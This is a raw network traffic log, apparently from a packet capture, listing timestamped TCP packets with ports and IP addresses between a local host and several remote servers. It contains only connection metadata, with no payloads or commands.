Nov 26, 2024 10:09:33.039174080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.039218903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.039252043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.039343119 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.039834976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.039885998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.039910078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.039958000 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.040613890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.040637970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.040659904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.040674925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.041402102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.041472912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.041506052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.041541100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.042258024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.042356014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.042392969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.043181896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.043226004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.043252945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.043284893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.044358015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.044399023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.044399977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.044440985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.045208931 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.045283079 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.045309067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.045321941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.046024084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.046133041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.046169043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.047910929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.047960997 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.047991037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.048127890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.048511982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.048552990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.048623085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.048661947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.049127102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.049170971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.049199104 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.049232960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.049767971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.049804926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.049997091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.050040960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.050558090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.050605059 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.050705910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.050745010 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.051186085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.051225901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.051275969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.051318884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.051853895 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.051894903 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.051930904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.051964045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.052680969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.052720070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.052777052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.052809954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.053550959 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.053591013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.053662062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.053704977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.054420948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.054529905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.054555893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.054579973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.055327892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.055358887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.055375099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.055391073 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.056205988 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.056258917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.056426048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.056473970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.057071924 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.057121038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.057202101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.057241917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.057893991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.057935953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.058016062 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.058052063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.058958054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.059000969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.059031963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.059065104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.059628963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.059672117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.059758902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.059799910 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.060509920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.060547113 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.060625076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.060653925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.061472893 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.061527014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.061585903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.061623096 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.062323093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.062360048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.062426090 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.062469959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.063080072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.063117027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.063209057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.063241959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.063967943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.064052105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.064074993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.064117908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.064867020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.064913034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.064969063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.065001965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.065738916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.065778017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.065815926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.065880060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.066600084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.066648960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.066699028 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.067456961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.067514896 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.067625999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.067987919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.068520069 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.068535089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.068562984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.068583012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.069200993 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.069246054 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.069288015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.069319963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.070072889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.070143938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.070188046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.070960999 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.071008921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.071072102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.071115971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.071818113 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.071867943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.071937084 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.072005987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.072365999 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.072789907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.072837114 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.072866917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.072906971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.073540926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.073586941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.073642969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.073786020 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.074457884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.074517012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.074548006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.074585915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.074754953 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.074780941 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.075165987 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.075288057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.075340986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.075423956 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.075468063 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.076163054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.076210976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.076267004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.076334953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.076462984 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.076529980 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.076869965 CET	49838	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:33.077016115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.077120066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.077125072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.077162027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.078155041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.078248978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.078282118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.078322887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.078805923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.078854084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.099678993 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:33.099711895 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:33.099827051 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:33.100184917 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:33.100195885 CET	443	49845	13.89.179.13	192.168.2.5
Nov 26, 2024 10:09:33.101140976 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:33.101205111 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:33.101268053 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:33.101461887 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:33.101478100 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:33.119338036 CET	443	49838	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:33.160762072 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:33.160799026 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:33.161060095 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:33.161304951 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:33.161320925 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:33.216247082 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.225701094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.225720882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.225780964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.225833893 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.225951910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.225989103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.226030111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.226078033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.226609945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.226711035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.226748943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.226782084 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.227483034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.227530956 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.227600098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.227672100 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.228341103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.228450060 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.228456974 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.228492022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.229213953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.229270935 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.229310989 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.229434013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.229567051 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.229593039 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.230212927 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.230382919 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.230408907 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.230743885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.231043100 CET	49839	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:33.231049061 CET	443	49839	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:33.231234074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.231275082 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.231354952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.231398106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.231889009 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.231935978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.231977940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.232014894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.232697964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.232739925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.232788086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.232861996 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.233577967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.233620882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.233673096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.233709097 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.234458923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.234509945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.234554052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.234592915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.235538006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.235553026 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.235604048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.236145020 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.236191988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.236229897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.236274958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.237025023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.237087011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.237133980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.237150908 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.238024950 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.238070011 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.238132000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.238169909 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.238775969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.238801003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.238831043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.238851070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.239639044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.239698887 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.239731073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.239799976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.240509987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.240573883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.240617990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.240669966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.241364002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.241420984 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.241514921 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.241695881 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.242242098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.242296934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.242350101 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.242593050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.243232965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.243304968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.243350983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.243468046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.244107962 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.244163990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.244174004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.244209051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.244862080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.244942904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.244978905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.245027065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.245867014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.246037006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.246062994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.246201992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.246855021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.246933937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.246947050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.247082949 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.247652054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.247714043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.247797966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.247848988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.249470949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.249485016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.249514103 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.249532938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.249644041 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.249691010 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.249732971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.250366926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.250411987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.250504971 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.250545979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.251380920 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.251491070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.251535892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.252316952 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.252362967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.252502918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.252650023 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.252988100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.253036022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.253053904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:33.253094912 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:33.253635883 CET	80	49766	185.215.113.206	192.168.2.5
